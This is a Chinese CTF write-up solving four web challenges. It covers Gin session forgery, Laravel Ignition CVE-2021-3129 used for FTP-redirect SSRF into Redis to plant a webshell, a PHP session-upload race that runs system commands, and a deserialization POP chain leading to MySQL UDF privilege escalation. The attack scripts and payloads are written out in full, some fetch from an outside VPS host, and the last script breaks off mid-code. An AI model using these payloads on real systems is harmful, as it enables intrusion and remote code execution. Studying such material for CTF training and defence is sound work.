image-20210913091937254

[toc]

Checkin_Go

跟这个题挺像的:[WMCTF2020]GOGOGO

image-20210911124302448

随便登录即可:

image-20210911124509521

其中有两个功能,一个是 buyFlag,但是 flag 的价格是 200000,而我们当前的余额为 0,所以我们无法购买。第二个是 addPrice 但是必须是管理员 admin 才可以。

题目给出了源码:

  • main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package main

import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"

)

func main() {
gin.SetMode(gin.ReleaseMode)
r := gin.Default()

storage := cookie.NewStore(randomChar(16)) // 初始化 session
r.Use(sessions.Sessions("o", storage))

r.LoadHTMLGlob("template/*")

auth := r.Group("/auth/",hashProofRequired())
auth.GET("/login", loginGetHandler)
auth.POST("/login", loginPostHandler)

user := r.Group("/play/")

user.POST("/add",adminRequired(),add) // 必须为 admin
user.POST("/guess",loginRequired(),guess) // 必须登录
r.GET("/game",start)
r.GET("/", func(c *gin.Context) {c.Redirect(302, "/auth/login")})
r.Run("0.0.0.0:80")
}
  • handle.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
package main

import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"encoding/base64"
"fmt"
"math/rand"

"github.com/gin-contrib/sessions"
"github.com/gin-gonic/gin"
)

func md5Hash(s string) string {
hsh := md5.New()
hsh.Write([]byte(s))
return fmt.Sprintf("%x", hsh.Sum(nil))
}

func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}



func hashProof() string { // 返回md5值钱6位
hsh := md5.New()
hsh.Write(randomChar(6))
return fmt.Sprintf("%x", hsh.Sum(nil))[:6]
}

func loginRequired() gin.HandlerFunc { // 需要登录
return func(c *gin.Context) {
s := sessions.Default(c)
if s.Get("uname") == nil && (c.Request.URL.Path != "/auth/login" ) {
c.Redirect(302, "/auth/login")
c.Abort()
}
c.Next()
}
}

func adminRequired() gin.HandlerFunc { // 验证是否为 admin
return func(c *gin.Context) {
s := sessions.Default(c)
if s.Get("uname") == nil {
c.Redirect(302, "/auth/login")
c.Abort()
return
}

if s.Get("uname").(string) != "admin" {
c.String(200, "No,You are not admin!!!!")
c.Abort()
}
c.Next()
}
}

func hashProofRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.Request.Method == "POST" {
s := sessions.Default(c)
hsh, ok := s.Get("hsh").(string)
if !ok {
println(1)
c.String(200, "wrong hash")
c.Abort()
return
}

if md5Hash(c.PostForm("hsh"))[:6] != hsh {
fmt.Println(hsh)
c.String(200, "wrong hash")
c.Abort()
}
}
c.Next()
}
}
func loginPostHandler(c *gin.Context) { // 登录逻辑
uname := c.PostForm("uname")
pwd := c.PostForm("pwd")
if uname == "admin"{ // 禁止 admin 用户的登录
c.String(200,"noon,you cant be admin")
return
}
if uname == "" || pwd == "" {
c.String(200, "empty parameter")
return
}

s := sessions.Default(c)
s.Set("uname", uname)
s.Save()
c.Redirect(302, "/game")
}
func loginGetHandler(c *gin.Context) {
hsh := hashProof()
s := sessions.Default(c)
s.Set("hsh", hsh) // 将 hsh 保存至 session
s.Save()
c.HTML(200, "login", gin.H{
"hsh": hsh,
})
}

// AesEncrypt 网上找的简单实现AES加密而已....
func AesEncrypt(orig string, key string) string {
// 转成字节数组
origData := []byte(orig)
k := []byte(key)

// 分组秘钥
block, err := aes.NewCipher(k)
if err != nil {
panic(fmt.Sprintf("key 长度必须 16/24/32长度: %s", err.Error()))
}
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 补全码
origData = PKCS7Padding(origData, blockSize)
// 加密模式
blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
// 创建数组
cryted := make([]byte, len(origData))
// 加密
blockMode.CryptBlocks(cryted, origData)
//使用RawURLEncoding 不要使用StdEncoding
//不要使用StdEncoding 放在url参数中回导致错误
return base64.RawURLEncoding.EncodeToString(cryted)

}
//如果解密过程出错请尝试清空cookie
func AesDecrypt(cryted string, key string) string {
//使用RawURLEncoding 不要使用StdEncoding
//不要使用StdEncoding 放在url参数中回导致错误
crytedByte, _ := base64.RawURLEncoding.DecodeString(cryted)
k := []byte(key)

// 分组秘钥
block, err := aes.NewCipher(k)
if err != nil {
panic(fmt.Sprintf("key 长度必须 16/24/32长度: %s", err.Error()))
}
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 加密模式
blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
// 创建数组
orig := make([]byte, len(crytedByte))
// 解密
blockMode.CryptBlocks(orig, crytedByte)
// 去补全码
orig = PKCS7UnPadding(orig)
return string(orig)
}

//补码
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
padding := blocksize - len(ciphertext)%blocksize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}

//去码
func PKCS7UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
  • guess.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package main

import (
"fmt"
"github.com/gin-contrib/sessions"
"github.com/gin-gonic/gin"
"io/ioutil"
"strconv"
)
var secret, _ =ioutil.ReadFile("secret") // 读取 secret 文件并获取后续加密用的 secret
func add(c *gin.Context){
var newMoney uint32 = 0
s := sessions.Default(c)

nowMoney :=fmt.Sprintf("%v",s.Get("nowMoney")) // 从 session 中获取当前 flag 价格
addMoney :=c.PostForm("addMoney") // 获取要增加的金额
u1, err1 :=strconv.ParseUint(nowMoney,10,32) // nowMoney
u2, err2 :=strconv.ParseUint(addMoney,10,32) // addMoney
if err1 != nil && err2 != nil{
c.String(200,"Your money is wrong")
c.Abort()
return
}
if s.Get("checkNowMoney")==nil{
c.String(200,"Dont have checkNowMoney")
c.Abort()
return
}else {
checkNowMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkNowMoney")), string(secret))
if checkNowMoney == nowMoney {
newMoney = uint32(u1) + uint32(u2) // 增加后的 flag 价格
s.Set("nowMoney", newMoney)
s.Set("checkNowMoney", AesEncrypt(strconv.Itoa(int(newMoney)), string(secret)))
s.Save()
c.String(200, "New money set.Refresh /game")
return
} else {
c.String(200, "checkNowMoney is wrong")
}
}
}
func guess(c *gin.Context){
s := sessions.Default(c)

playerMoney :=fmt.Sprintf("%v",s.Get("playerMoney")) // 从 session 中获取用户余额
nowMoney :=fmt.Sprintf("%v",s.Get("nowMoney")) // 从 session 中获取当前 flag 价格
u1, err1 :=strconv.ParseUint(playerMoney,10,32) // playerMoney
u2, err2 :=strconv.ParseUint(nowMoney,10,32) // nowMoney
if err1 != nil && err2 != nil{
c.String(200,"Wrong")
c.Abort()
return
}
var newMoney = uint32(u1)
if s.Get("checkNowMoney")==nil||s.Get("checkPlayerMoney")==nil{
c.String(200,"Dont have checkNowMoney or checkPlayerMoney")
c.Abort()
return
}else {
checkPlayerMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkPlayerMoney")), string(secret))
checkNowMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkNowMoney")), string(secret))
if u1 >= u2 && checkPlayerMoney == playerMoney && checkNowMoney == nowMoney {
newMoney = uint32(u1) - uint32(u2)
f, err := ioutil.ReadFile("flag") // 如果 playerMoney >= nowMoney, 就能得到 flag
if err == nil {
s.Set("playerMoney", newMoney)
s.Set("checkPlayerMoney", AesEncrypt(fmt.Sprintf("%v", s.Get("playerMoney")), string(secret)))
s.Save()
c.String(200, string(f))
c.Abort()
return
} else {
c.String(200, "SomethingWrong")
}

} else {
c.String(200, "Your money is not enough or you do some trick on the check")
c.Abort()
return
}
}

}
func start(c *gin.Context) {
s := sessions.Default(c)
nowMoney :=s.Get("nowMoney")
playerMoney :=s.Get("playerMoney")
if nowMoney==nil{
s.Set("nowMoney",200000) // 将 flag 的价格初始化为 200000
nowMoney="200000"
s.Set("checkNowMoney",AesEncrypt(fmt.Sprintf("%v",s.Get("nowMoney")),string(secret)))
s.Save()
}else {
nowMoney=s.Get("nowMoney")
}
if playerMoney==nil{
s.Set("playerMoney",5000) // 将用户当前余额初始化为 5000
playerMoney="5000"
s.Set("checkPlayerMoney",AesEncrypt(fmt.Sprintf("%v",s.Get("playerMoney")),string(secret)))
s.Save()
}else {
playerMoney=s.Get("playerMoney")
}
c.HTML(200, "game", gin.H{
"nowMoney": nowMoney,
"playerMoney":playerMoney,
})
return
}

审计代码之后可知,需要得到 flag 就必须使用户当前的余额 playerMoney 大于或等于 nowMoney,并且二者能够通过 session 中 checkPlayerMoney 和 checkNowMoney 的效验。还有就是用户必须处于登录状态,即 session 中设置了 uname。

附件中都的 secret 是假的,我们需要从题目给登录后的 session 里面获取 checkNowMoney 进行伪造。

首先编写如下 poc 获取 checkNowMoney :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// getchecknowmoney.go
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"math/rand"
"fmt"
)
func main() {
r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.GET("/getchecknowmoney",cookieHandler)
r.Run("0.0.0.0:8080")
}
func cookieHandler(c *gin.Context){
s := sessions.Default(c)
fmt.Println(s.Get("checkNowMoney"))
s.Save()
}

运行 getchecknowmoney.go 后访问 /getchecknowmoney,然后将 cookie 替换成题目中的的 cookie,刷新一下即可得到 checkNowMoney:

image-20210911151046335

有了 checkNowMoney 之后,我们便可以伪造 checkPlayerMoney 最终读取 flag 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 伪造 session
package main
import (
"math/rand"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
)
func main() {
r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.GET("/makesession",cookieHandler)
r.Run("0.0.0.0:8080")
}
func cookieHandler(c *gin.Context){
s := sessions.Default(c)
s.Set("uname", "whoami")
s.Set("nowMoney", 200000)
s.Set("playerMoney", 200000)
s.Set("checkNowMoney", "JkeLNs0tAng7rDdgtr1nDQ")
s.Set("checkPlayerMoney", "JkeLNs0tAng7rDdgtr1nDQ")
s.Save()
}
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}

脚本改编自:[WMCTF2020]GOGOGO

运行后访问 /makesession 即可得到 session,然后把得到的 session 替换到题目中去点击 buyFlag 即可得到 flag:

image-20210911151649196

image-20210911151716431

Cross The Side

又是 Laravel:

image-20210911133307294

根据 Laravel 的版本猜测应该是 CVE-2021-3129,然后端口扫描发现其本地 6379 端口上有一个 Redis。参考 《Laravel Debug mode RCE(CVE-2021-3129)漏洞复现》 这篇文章里面 “利用FTP SSRF攻击PHP-FPM” 这一部分,猜测本题应该是通过 FTP 被动模式打内网的 Redis。

首先在 vps 上伪造一个 FTP 服务器,用来重定向 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# -*- coding: utf-8 -*-
# @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/public%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 2333))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")

print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")

print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")

print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")

print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 47,101,57,72,0,2333\n") # 服务端告诉客户端需要到那个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,0,6379\n") # 端口计算规则:35*256+40=9000

print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()

# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1

运行 ftp_redirect.py:

image-20210911133748671

然后发送请求就行了:

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.41.107:8077
Content-Type: application/json
Content-Length: 190

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "ftp://aaa@47.101.57.72:23/123"
}
}

image-20210911141056126

执行后,成功写入 Webshell,然后读取 flag 就行了:

image-20210911141008733

Only4

直接给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file('index.php');
error_reporting(0);
$gwht= $_GET["gwht"];
$ycb= $_GET["ycb"];
if(preg_match("/flag/",$gwht)){
die('hack' );
}
if(preg_match("/secret/",$gwht)){
die('hack' );
}
include($gwht);
if(isset($ycb)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/Flag/",$value)) {
die('not hit');
exit();
}
}
$YCB = unserialize($ycb);
}else{
echo "what are you doing";
}
?>

看见文件包含首先想到首选尝试 SESSION_UPLOAD_PROGRESS Getshell,没想到还真成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import io
import sys
import requests
import threading

sessid = 'whoami'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.168.41.107:8000/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /flag');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://192.168.41.107:8000/index.php?ycb=1&gwht=../../../../../../../../var/lib/php5/sess_{sessid}')
# print('[+++]retry')
# print(response.text)

if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

image-20210911133100062

EasyCurl

进入题目是一个登录页面:

image-20210912063354640

题目给了源码:

  • common.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
<?php

class User
{
public $username;
private $password;
public $personal_intro;
public $gender;
public $valid;
public $session_id;
public $logger;
public $db_operator;

public function __construct($username,$password)
{
$this->username=$username;
$this->password=md5($password);

}

public function __toString()
{
return 'username:'.$this->username;
}

public function __wakeup()
{
$this->logger=new logger('log/user_'.$this->username.'.log');
$this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' loaded in');
}

public function initialize_db($host,$db,$user,$pass){
$this->db_operator=new db($host,$db,$user,$pass);
}

public function set_current_session_id($session_id){
$this->session_id=$session_id;
}

public function update_database(){
if($this->username!=''&&strlen($this->password)==32){

}
else{
echo 'invalid data';
}
}
public function set_password($new_password){
$this->password=$new_password;
//pdo插入数据
}

public function set_gender($new_gender){
$this->gender=$new_gender;
}

public function set_personal_intro($new_personal_intro){
$this->personal_intro=$new_personal_intro;
}
public function check_valid_user(){
require 'config.php';
$this->initialize_db($host,$db,$user,$pass);
$info=$this->db_operator->query_one('user','username',$this->username);
//print_r($info);
$password='';
if(isset($info[0]['password']))
$password=$info[0]['password'];
//echo $password;
//pdo获取密码
if($this->password===$password){
$this->logger=new logger('log/user_'.$this->username);
$this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' logged in');
$this->valid=true;
return true;
}
$this->valid=false;
return false;
}
}

class db{
public $dbh;

public function __construct($host,$db,$user,$pass)
{
try{
$this->dbh=new PDO('mysql:host='.$host.';dbname='.$db,$user,$pass);
$this->dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
}catch (PDOException $e){
echo 'database connect fail: '.$e;
return false;
}
return true;
}
public function __destruct()
{
$this->close();
}

public function query_all(){
$query='select * from user ';
$prepared=$this->dbh->prepare($query);
$prepared->execute();
if(!$prepared->fetchAll()){
return false;
}
return $prepared->fetchAll();
}

public function query_one($table,$column,$limitation){
$query="select * from user where username= ? ";
$prepared=$this->dbh->prepare($query);
$prepared->execute(array($limitation));
//var_dump($prepared);
return $prepared->fetchAll();
}

// public function update_one($table,$set_column,$value,$where_column,$limitation){
// $query='update user set ? = ? where ? = ?';
// $prepared=$this->dbh->prepare($query);
// return $prepared->execute(array($set_column,$value,$where_column,$limitation));
// }

public function insert_one($value_array){
$query='insert into user values ? , ? , ? , ?';
$prepared=$this->dbh->prepare($query);
return $prepared->execute($value_array);
}

public function close(){
$this->dbh=null;
}
}

class cache_parser{
public $user;
public $user_cache;
public $default_handler='call_handler';
public $logger;

public function __construct()
{
$this->logger=new logger('log/parser');
}

public function __toString()
{
$this->save_user_info();
//var_dump($this->user);
//var_dump($this->user_cache);
return $this->user_cache;
}

public function __call($name, $arguments)
{
$handler=$this->default_handler;
$handler();
}

public function get_user($user){
$this->user=$user;
}

public function save_user_info(){
if(isset($this->user->session_id)){
if(preg_match('/[^A-Za-z_]/',$this->user->username)||preg_match('/ph|htaccess|\./i',$this->user->session_id)){
echo '<p>illegal username or session id</p>';
return false;
}
$this->user_cache=serialize($this->user);
file_put_contents('cache_'.$this->user->session_id.'.txt',$this->user_cache);
$this->logger->write_log(date('Y-m-d H:i:s').' | extracted user info: '.$this->user);
return true;
}
echo $this->user->session_id;
return false;
}

public function get_user_cache($session_id){
if(isset($_SESSION[$session_id])){
$this->user_cache=file_get_contents('cache_'.$session_id.'.txt');
$this->user=unserialize($this->user_cache);
return true;
}
return false;
}
public function load_user($user_cache){
$this->user=unserialize($user_cache);
return $this->user;
}
}

class file_request{
public $url;
private $content;


public function __construct($url)
{
$this->url=$url;
}

public function request(){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$this->url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
$this->content=curl_exec($ch);
echo 'resource requested!';
curl_close($ch);
}

public function get_response(){
echo $this->content;
return $this->content;
}

public function __invoke()
{
if($this->content!=''){
return $this->get_response();
}
elseif ($this->url!=''){
$this->request();
return $this->get_response();
}
else{
return 'empty url!';
}
}
}

class logger{
public $filename;
public function __construct($log)
{
$this->filename=$log;
}
public function write_log($content){

file_put_contents($this->filename.'.log',$content.PHP_EOL,FILE_APPEND);
// echo 'log!';
}
}

function call_handler($name){
echo 'call to undefined function '.$name.'()';
}

首先想的一定是登录进去,然后反序列化执行 file_request 进行 SSRF。但是登录这里卡了好久,一直没思路,然后一扫目录竟然发现一个数据库的备份(笑死):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
-- MySQL dump 10.13  Distrib 5.7.30, for Linux (x86_64)
--
-- Host: localhost Database: ctf
-- ------------------------------------------------------
-- Server version 5.7.30-0ubuntu0.18.04.1-log

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `user`
--

DROP TABLE IF EXISTS `user`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `user` (
`username` varchar(100) NOT NULL,
`password` varchar(100) NOT NULL,
`gender` varchar(100) DEFAULT NULL,
`personal_intro` text,
PRIMARY KEY (`username`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `user`
--

LOCK TABLES `user` WRITE;
/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES ('admin','4a9d0eca4542a5f5c4e6090b80a49320',NULL,NULL),('neko','c4d038b4bed09fdb1471ef51ec3a32cd',NULL,NULL);
/*!40000 ALTER TABLE `user` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2021-08-29 20:22:37
-- password of admin: R1nd0_1s_n3k0

得到 admin 的密码为 R1nd0_1s_n3k0,直接登陆进去:

image-20210912063707222

然后访问 admin.php:

image-20210912063748644

这里可以从一个序列化字符串中换源一个用户,应该对应于源码 common.php 中的这块代码:

1
2
3
4
5
6
7
8
9
10
11
class cache_parser{
public $user;
public $user_cache;
public $default_handler='call_handler';
public $logger;
......
public function load_user($user_cache){
$this->user=unserialize($user_cache);
return $this->user;
}
}

存在反序列化,这样我们便可以尝试构造 POP 链最终实现反序列化 file_request 类进行 SSRF,POP 链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<?php

class User
{
public $username;
private $password;
public $personal_intro;
public $gender;
public $valid;
public $session_id;
public $logger;
public $db_operator;

public function __construct($username,$password)
{
$this->username=$username;
$this->password=md5($password);

}

public function __wakeup()
{
$this->logger=new logger('log/user_'.$this->username.'.log');
$this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' loaded in');
}
}



class cache_parser{
public $user;
public $user_cache;
public $default_handler;
public $logger;

public function __construct()
{
$this->default_handler= new file_request();
}

public function __toString()
{
$this->save_user_info();
//var_dump($this->user);
//var_dump($this->user_cache);
return $this->user_cache;
}

public function __call($name, $arguments)
{
$handler=$this->default_handler;
$handler();
}

public function get_user($user){
$this->user=$user;
}

public function save_user_info(){
if(isset($this->user->session_id)){
if(preg_match('/[^A-Za-z_]/',$this->user->username)||preg_match('/ph|htaccess|\./i',$this->user->session_id)){
echo '<p>illegal username or session id</p>';
return false;
}
$this->user_cache=serialize($this->user);

file_put_contents('cache_'.$this->user->session_id.'.txt',$this->user_cache);
$this->logger->write_log(date('Y-m-d H:i:s').' | extracted user info: '.$this->user);
return true;
}
echo $this->user->session_id;
return false;
}
}

class file_request{
public $url = "file:///etc/passwd";
private $content;

public function request(){
$ch=curl_init();
var_dump($this->url);
curl_setopt($ch,CURLOPT_URL,$this->url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
$this->content=curl_exec($ch);
echo 'resource requested!';
curl_close($ch);
}

public function get_response(){
echo $this->content;
return $this->content;
}

public function __invoke()
{
if($this->content!=''){
return $this->get_response();
}
elseif ($this->url!=''){
$this->request();
return $this->get_response();
}
else{
return 'empty url!';
}
}
}

class logger{
public $filename;
public function __construct($log)
{
$this->filename=$log;
}
public function write_log($content){

file_put_contents($this->filename.'.log',$content.PHP_EOL,FILE_APPEND);
// echo 'log!';
}
}


$poc = new User("whoami","123456");
$poc->username = new cache_parser();
$poc->username->user=new User("whoami","123456");
$poc->username->user->session_id="whoami_sess";
$poc->username->logger=new cache_parser();

echo urlencode(serialize($poc));

如下图,成功读取到了 /etc/passwd:

image-20210912064137938

然而并没有读取到 flag。然后尝试 SSRF 打内网,发现本地只有一个 MySQL 应用,所以我们尝试 MySQL 未授权,这里推荐使用 Gopherus 生成 Gophar Payload:

image-20210912064951791

生成反序列化 Payload 后直接打,发现确实存在 MySQL 未授权访问漏洞:

image-20210912064551318

后续发现数据库中也没有我们想要的 flag,但是 MySQL 的 secure_file_priv 和 plugin_dir 选项所指的目录相同,都是 /usr/lib/mysql/plugin,那么很明显了,需要我们使用 UDF 提权执行系统命令,详情请看:MySql 数据库漏洞利用与提权思路

我们直接使用 Sqlmap 中的 so 文件,首先将其内容进行十六进制编码:

1
select hex(load_file('lib_mysqludf_sys_64.so')) into outfile "udf_64.hex";

得到 udf_64.hex 之后需要执行的命令如下:

1
select unhex("hex_raw_payload") into dumpfile "/usr/lib/mysql/plugin/whoami.so";

用我之前出题修改的 Gopherus 的源码生成 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import urllib

def launcher():
banner()
